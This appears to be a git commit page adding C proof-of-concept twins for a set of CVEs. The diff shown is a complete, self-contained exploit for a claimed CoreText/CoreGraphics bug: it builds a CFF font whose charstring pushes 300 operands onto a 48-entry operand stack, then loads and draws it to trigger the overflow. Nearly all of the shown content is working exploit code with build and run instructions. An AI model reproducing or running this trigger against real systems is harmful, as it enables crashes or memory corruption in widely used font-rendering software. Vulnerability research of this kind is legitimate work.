v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,160 @@
|
||||
// font.cff · FontParser · Type2 charstring interpreter · CVE-2026-112683
|
||||
// CFF operand stack push overflow
|
||||
// C twin of the Swift POC: builds the 300-operand stack bomb CFF, loads it through
|
||||
// CGFont/CTFont and draws glyphs to force the interpreter to run.
|
||||
// Build: clang -O2 -o cve-2026-112683 CVE-2026-112683.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
|
||||
// Run: ./cve-2026-112683 [push-count]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
// ── CFF INDEX (from CVE-2026-112683.py: index) ──
|
||||
static void cff_index(buf *out, const uint8_t *const *items, const size_t *lens, int count) {
|
||||
if (count == 0) { bput(out, 0); bput(out, 0); return; }
|
||||
size_t off = 1;
|
||||
size_t offs[33];
|
||||
offs[0] = 1;
|
||||
for (int i = 0; i < count; i++) { off += lens[i]; offs[i + 1] = off; }
|
||||
int off_size = 1;
|
||||
if (off >= 0x10000) off_size = 2;
|
||||
else if (off >= 0x100) off_size = 1; // count fits
|
||||
// choose the smallest width that holds `off`
|
||||
if (off < 0x100) off_size = 1;
|
||||
else if (off < 0x10000) off_size = 2;
|
||||
else if (off < 0x1000000) off_size = 3;
|
||||
else off_size = 4;
|
||||
bput(out, (uint8_t)(count >> 8)); bput(out, (uint8_t)(count & 0xff));
|
||||
bput(out, (uint8_t)off_size);
|
||||
for (int i = 0; i <= count; i++) {
|
||||
for (int k = off_size - 1; k >= 0; k--) bput(out, (uint8_t)((offs[i] >> (8 * k)) & 0xff));
|
||||
}
|
||||
for (int i = 0; i < count; i++) bcat(out, items[i], lens[i]);
|
||||
}
|
||||
|
||||
// 5-byte fixed-width DICT integer operand
|
||||
static void dict_int(buf *out, int32_t v) {
|
||||
bput(out, 29);
|
||||
bput(out, (uint8_t)(v >> 24)); bput(out, (uint8_t)(v >> 16));
|
||||
bput(out, (uint8_t)(v >> 8)); bput(out, (uint8_t)v);
|
||||
}
|
||||
|
||||
// ── seed construction (from CVE-2026-112683.py: build_cff) ──
|
||||
// one charstring pushes `push_count` operands before endchar; the interpreter's
|
||||
// operand stack is a fixed 48-entry array
|
||||
static buf cff_stack_bomb(int push_count) {
|
||||
buf out = {0};
|
||||
bcat(&out, "\x01\x00\x04\x01", 4); // header: major 1, minor 0, hdrSize 4, offSize 1
|
||||
|
||||
// name index
|
||||
const uint8_t *names[1] = { (const uint8_t *)"CinderStackBomb" };
|
||||
size_t name_lens[1] = { 15 };
|
||||
buf name_index = {0};
|
||||
cff_index(&name_index, names, name_lens, 1);
|
||||
|
||||
// charstring: push_count × (139+1 = push 1), then endchar (14)
|
||||
buf cs = {0};
|
||||
for (int i = 0; i < push_count; i++) bput(&cs, 140);
|
||||
bput(&cs, 14);
|
||||
const uint8_t *cs_items[1] = { cs.d };
|
||||
size_t cs_lens[1] = { cs.n };
|
||||
buf charstrings = {0};
|
||||
cff_index(&charstrings, cs_items, cs_lens, 1);
|
||||
|
||||
buf gsubrs = {0};
|
||||
cff_index(&gsubrs, NULL, NULL, 0);
|
||||
buf strings = {0};
|
||||
cff_index(&strings, NULL, NULL, 0);
|
||||
|
||||
// Top DICT: CharStrings (op 17) + Private (op 18), absolute offsets, two-pass
|
||||
// layout: header | name | top | strings | gsubrs | charstrings | private
|
||||
size_t top_len_placeholder = 2 * 6 + 2; // two 5-byte ints + two 1-byte ops
|
||||
size_t top_off = 4 + name_index.n;
|
||||
size_t after_top = top_off + top_len_placeholder;
|
||||
size_t cs_off = after_top + strings.n + gsubrs.n;
|
||||
size_t priv_off = cs_off + charstrings.n;
|
||||
buf priv = {0};
|
||||
bput(&priv, 0x00); // trivial private dict
|
||||
|
||||
buf top = {0};
|
||||
dict_int(&top, (int32_t)cs_off); bput(&top, 17);
|
||||
dict_int(&top, (int32_t)priv.n); dict_int(&top, (int32_t)priv_off); bput(&top, 18);
|
||||
// the real top dict length must match the placeholder used for layout
|
||||
buf top_index = {0};
|
||||
const uint8_t *top_items[1] = { top.d };
|
||||
size_t top_lens[1] = { top.n };
|
||||
cff_index(&top_index, top_items, top_lens, 1);
|
||||
|
||||
bcat(&out, name_index.d, name_index.n);
|
||||
bcat(&out, top_index.d, top_index.n);
|
||||
bcat(&out, strings.d, strings.n);
|
||||
bcat(&out, gsubrs.d, gsubrs.n);
|
||||
bcat(&out, charstrings.d, charstrings.n);
|
||||
bcat(&out, priv.d, priv.n);
|
||||
|
||||
bfree(&name_index); bfree(&top_index); bfree(&strings);
|
||||
bfree(&gsubrs); bfree(&charstrings); bfree(&priv);
|
||||
bfree(&top); bfree(&cs);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: CGFont + CTFont glyph draw ──
|
||||
#include <CoreText/CoreText.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int push_count = argc > 1 ? atoi(argv[1]) : 300;
|
||||
|
||||
buf cff = cff_stack_bomb(push_count);
|
||||
FILE *f = fopen("stack_bomb.cff", "wb");
|
||||
if (f) { fwrite(cff.d, 1, cff.n, f); fclose(f); }
|
||||
|
||||
CFDataRef cf = CFDataCreate(NULL, cff.d, (CFIndex)cff.n);
|
||||
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
|
||||
CFRelease(cf);
|
||||
CGFontRef cg = CGFontCreateWithDataProvider(prov);
|
||||
CGDataProviderRelease(prov);
|
||||
if (!cg) {
|
||||
// a refusal is the informative result: which stage rejected the font
|
||||
printf("CVE-2026-112683 · font refused at the CGFont layer (before the interpreter)\n");
|
||||
printf("seed: stack_bomb.cff (%zu B) · exit code 1\n", cff.n);
|
||||
bfree(&cff);
|
||||
return 1;
|
||||
}
|
||||
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 96, NULL, NULL);
|
||||
size_t glyphs = CGFontGetNumberOfGlyphs(cg);
|
||||
printf("font loaded: glyphs=%zu\n", glyphs);
|
||||
|
||||
// drawing forces the charstring interpreter to run
|
||||
const int pixels = 256, bpr = pixels * 4;
|
||||
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
|
||||
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
|
||||
CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast);
|
||||
int drawn = 0;
|
||||
size_t upper = glyphs < 8 ? glyphs : 8;
|
||||
for (size_t g = 1; g < upper; g++) {
|
||||
CGGlyph glyph = (CGGlyph)g;
|
||||
CGPoint pos = CGPointMake(20, 40 * (g + 1));
|
||||
CTFontDrawGlyphs(ct, &glyph, &pos, 1, ctx);
|
||||
drawn++;
|
||||
}
|
||||
printf("CVE-2026-112683 · drew %d glyph(s), %d operands vs stack capacity 48\n",
|
||||
drawn, push_count);
|
||||
CGContextRelease(ctx);
|
||||
free(buffer);
|
||||
CFRelease(ct);
|
||||
CGFontRelease(cg);
|
||||
printf("seed: stack_bomb.cff (%zu B) · exit code 0\n", cff.n);
|
||||
bfree(&cff);
|
||||
return 0;
|
||||
}
|
||||
Reference in new issue
Block a user